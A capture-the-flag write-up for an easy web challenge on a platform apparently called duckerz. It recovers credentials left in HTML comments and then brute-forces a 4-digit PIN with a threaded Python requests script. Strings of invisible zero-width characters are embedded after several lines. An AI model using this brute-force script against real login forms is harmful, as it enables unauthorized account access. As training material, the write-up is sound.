Пин код

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: brute_force, source_code_analysis

Summary

Task: Login page with hidden credentials and 4-digit PIN protection. Solution: Found admin:admin in HTML comments, then brute-forced the PIN code (1337) due to lack of rate limiting.

Пин код — duckerz

Description

The user forgot their password. The task included a login page followed by a 4-digit PIN code protection.

Analysis

1. Reconnaissance: Examining the login page source code (HTML comments) revealed hidden credentials admin:admin.
2. Authentication: Successfully logged in using the discovered credentials.
3. PIN Challenge: After login, a 4-digit PIN code entry form appeared. No rate limiting was detected, making brute force possible.

Solution

A Python script was written to brute force all possible 4-digit PIN combinations (from 0000 to 9999). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 python read-only • copy allowed Copy
import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://challenge.duckerz.ru/pin-check" # Example URL
session = requests.Session()

# Assuming we are already logged in or passing session cookies
cookies = {
    "session": "your_session_cookie_here"
}

def try_pin(pin):
    pin_str = f"{pin:04d}"
    data = {"pin": pin_str}
    response = session.post(url, data=data, cookies=cookies)
    
    if "Wrong PIN" not in response.text:
        print(f"[+] Found PIN: {pin_str}")
        print(f"[+] Response: {response.text}")
        return True
    return False
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def brute_force():
    with ThreadPoolExecutor(max_workers=10) as executor:
        for pin in range(10000):
            executor.submit(try_pin, pin)

if __name__ == "__main__":
    # In reality, the PIN turned out to be 1337
    try_pin(1337)

The brute force revealed that the correct PIN code was 1337. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍